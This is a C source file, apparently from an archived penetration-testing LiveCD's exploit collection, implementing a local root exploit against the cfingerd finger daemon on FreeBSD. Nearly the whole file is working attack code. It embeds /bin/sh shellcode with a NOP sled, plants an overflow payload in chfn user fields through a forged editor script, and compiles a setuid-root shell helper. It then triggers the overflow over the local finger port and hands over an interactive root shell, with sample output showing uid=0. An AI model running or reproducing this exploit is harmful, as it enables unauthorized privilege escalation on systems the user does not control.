home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / finger / cfingerd / cfingerd.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  6KB  |  255 lines

  1. /*
  2.  
  3. babcia padlina ltd. cfingerd local root exploit (for FreeBSD)
  4.  
  5. RET: bfbfd7d2
  6. PTR: bfbfd750
  7.  
  8. setting up...
  9.  
  10. Username: ÉÉÉÉÉÉÉÉÉÉδ#^ì_ë^_1╥ëV_ëV_ëV_êV_1└░;In real life:                    
  11.   
  12. Home directory: ╘╫┐┐Ue_(            Shell: ëâ@Γ                         
  13. Room: ÉÉÉÉÉÉÉÉÉÉÉÉδ#^ì_ë^_1╥ëV_ëV_ëV_êV_1└Work phone:                         
  14. Home phone:                         Other:                              
  15.  
  16. This user has no mail or mail spool.
  17. Last seen Sun Sep 19 01:09 PM (CEST) from lagoon.gadaczka
  18.  
  19. uid=0(root) gid=0(wheel) groups=0(wheel)
  20.  
  21. */
  22.  
  23. #include <stdio.h>
  24. #include <stdlib.h>
  25. #include <unistd.h>
  26. #include <errno.h>
  27. #include <sys/types.h>
  28. #include <sys/socket.h>
  29. #include <netinet/in.h>
  30. #include <netdb.h>
  31. #include <string.h>
  32.  
  33. #define BUFFER_SIZE     80
  34. #define ADDRS           190
  35. #define PTROFS          200
  36. #define RETOFS          330
  37. #define NOP             0x90
  38. #define FILE1           "user.inf"
  39. #define FILE2           "hack"
  40. #define FILE3           "set"
  41. #define FINGER          79
  42. #define MAXLINE         1024
  43. #define LOCALHOST       0x7f000001
  44. #define GREEN           "\033[1;32m"
  45. #define RED             "\033[1;31m"
  46. #define NORM            "\033[1;39m"
  47. #define UNBOLD          "\E[m"
  48.  
  49. long getesp(void) 
  50.         __asm__("movl %esp,%eax\n");
  51. }
  52.  
  53. void sh(sockfd)
  54. int sockfd;
  55. {
  56.         char buf[MAXLINE];
  57.         int c;
  58.         fd_set rf, drugi;
  59.  
  60.         FD_ZERO(&rf);
  61.         FD_SET(0, &rf);
  62.         FD_SET(sockfd, &rf);
  63.  
  64.         while (1)
  65.         {
  66.                 bzero(buf, MAXLINE);
  67.                 memcpy (&drugi, &rf, sizeof(rf));
  68.                 select(sockfd+1, &drugi, NULL, NULL, NULL);
  69.                 if (FD_ISSET(0, &drugi))
  70.                 {
  71.                         c = read(0, buf, MAXLINE);
  72.                         send(sockfd, buf, c, 0x4);
  73.                 }
  74.  
  75.                 if (FD_ISSET(sockfd, &drugi))
  76.                 {
  77.                         c = read(sockfd, buf, MAXLINE);
  78.                         if (c<0) return;
  79.                         write(1,buf,c);
  80.                 }
  81.         }
  82. }
  83.  
  84. int connectto(void)
  85. {
  86.         int sockfd;
  87.         char sendbuf[MAXLINE];
  88.         struct sockaddr_in cli;
  89.  
  90.         bzero(&cli, sizeof(cli));
  91.         cli.sin_family = AF_INET;
  92.         cli.sin_addr.s_addr=htonl(LOCALHOST);
  93.         cli.sin_port = htons(FINGER);
  94.  
  95.         if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
  96.         {
  97.                 perror("socket");
  98.                 return -1;
  99.         }
  100.  
  101.         if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0) 
  102.         {
  103.                 perror("connect");
  104.                 return -1;
  105.         }
  106.  
  107.         sprintf(sendbuf, "%.1023s\n", getenv("LOGNAME"));
  108.         write(sockfd, sendbuf, strlen(sendbuf));
  109.  
  110.         sleep(1);
  111.  
  112.         sprintf(sendbuf, "%.900s/%s\n", getenv("HOME"), FILE3);
  113.         write(sockfd, sendbuf, strlen(sendbuf));
  114.  
  115.         sleep(1);
  116.  
  117.         sprintf(sendbuf, "id\n");
  118.         write(sockfd, sendbuf, strlen(sendbuf));
  119.  
  120.         unlink(FILE3);
  121.  
  122.         fflush(stdout);
  123.         fflush(stderr);
  124.  
  125.         sh(sockfd);
  126.  
  127.         return;
  128. }
  129.  
  130.  
  131.  
  132. int main(argc, argv)
  133. int argc;
  134. char **argv;
  135. {
  136.         char *buf1 = NULL, *buf2 = NULL, *p = NULL;
  137.         u_long *addr_ptr = NULL;
  138.         int noplen, i, bufsize = BUFFER_SIZE, addrs = ADDRS, ptrofs = PTROFS;
  139.         int retofs = RETOFS;
  140.         long ret, ptr;
  141.         FILE *phile;
  142.  
  143.         char execshell[] = 
  144.         "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
  145.         "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
  146.         "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
  147.         "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
  148.  
  149.         fprintf(stderr, "\n%sbabcia padlina ltd. cfingerd local root
  150. exploit%s%s\n\n", GREEN, NORM, UNBOLD);
  151.  
  152.         if(argc > 5)
  153.         {
  154.                 bufsize = atoi(argv[1]);
  155.                 addrs = atoi(argv[2]);
  156.                 ptrofs = atoi(argv[3]);
  157.                 retofs = atoi(argv[4]);
  158.         }
  159.  
  160.         if(!(buf1 = malloc(bufsize+1)))
  161.         {
  162.                 perror("malloc()");
  163.                 return -1;
  164.         }
  165.  
  166.         if(!(buf2 = malloc(addrs+1)))
  167.         {
  168.                 perror("malloc()");
  169.                 return -1;
  170.         }
  171.  
  172.         ret = getesp() + retofs;
  173.         ptr = getesp() + ptrofs;
  174.  
  175.         noplen = bufsize - strlen(execshell);
  176.         memset(buf1, NOP, noplen);
  177.         strcat(buf1, execshell);
  178.  
  179.         p = buf2;
  180.         addr_ptr = (unsigned long *)p;
  181.  
  182.         for(i = 0; i < (addrs / 4) /2; i++)
  183.                 *addr_ptr++ = ptr;
  184.  
  185.         for(i = 0; i < (addrs / 4) /2; i++)
  186.                 *addr_ptr++ = ret;
  187.  
  188.         p = (char *)addr_ptr;
  189.         *p = '\0';
  190.  
  191.         if ((phile = fopen(FILE1, "w")) == NULL)
  192.         {
  193.                 perror("fopen()");
  194.                 return -1;
  195.         }
  196.  
  197.         fprintf(stderr, "%sRET: %s%x\n%sPTR: %s%x%\n\n%ssetting up...%s%s\n",
  198. GREEN, RED, ret, GREEN, RED, ptr, GREEN, NORM, UNBOLD);
  199.  
  200.         
  201. fprintf(phile, "#Changing user database information for %s.\n"
  202.                 "Shell: %s\n"
  203.                 "Full Name: %s\n"
  204.                 "Office Location: %s\n"
  205.                 "Office Phone: \n"
  206.                 "Home Phone: \n"
  207.                 "Other information: \n", 
  208.                 getenv("LOGNAME"), getenv("SHELL"), buf2, buf1);
  209.  
  210.         fclose(phile);
  211.  
  212.         if ((phile = fopen(FILE2, "w")) == NULL)
  213.         {
  214.                 perror("fopen()");
  215.                 return -1;
  216.         }
  217.  
  218.         fprintf(phile, "cat user.inf>\"$1\"\n");
  219.         fprintf(phile, "touch -t 2510711313 \"$1\"\n");
  220.  
  221.         fclose(phile);
  222.  
  223.         sprintf(buf1, "%s.c", FILE3);
  224.  
  225.         if ((phile = fopen(buf1, "w")) == NULL)
  226.         {
  227.                 perror("fopen()");
  228.                 return -1;
  229.         }
  230.  
  231.         // buffer is too small to execute seteuid/setegid there, so we have
  232.         // to do this here.
  233.  
  234.         fprintf(phile, "main() { seteuid(0); setegid(0); system(\"exec
  235. /bin/sh\"); }");
  236.         fclose(phile);
  237.  
  238.         sprintf(buf2, "/usr/bin/cc -o %s %s.c", FILE3, FILE3);
  239.  
  240.         system(buf2);
  241.         unlink(buf1);
  242.  
  243.         system("EDITOR=./hack;export EDITOR;chmod +x hack;chfn > /dev/null
  244. 2>&1");
  245.         unlink(FILE1);
  246.         unlink(FILE2);
  247.  
  248.         if (connectto() < 0)
  249.                 return -1;
  250.  
  251.         return 0;
  252. }
  253.  
  254.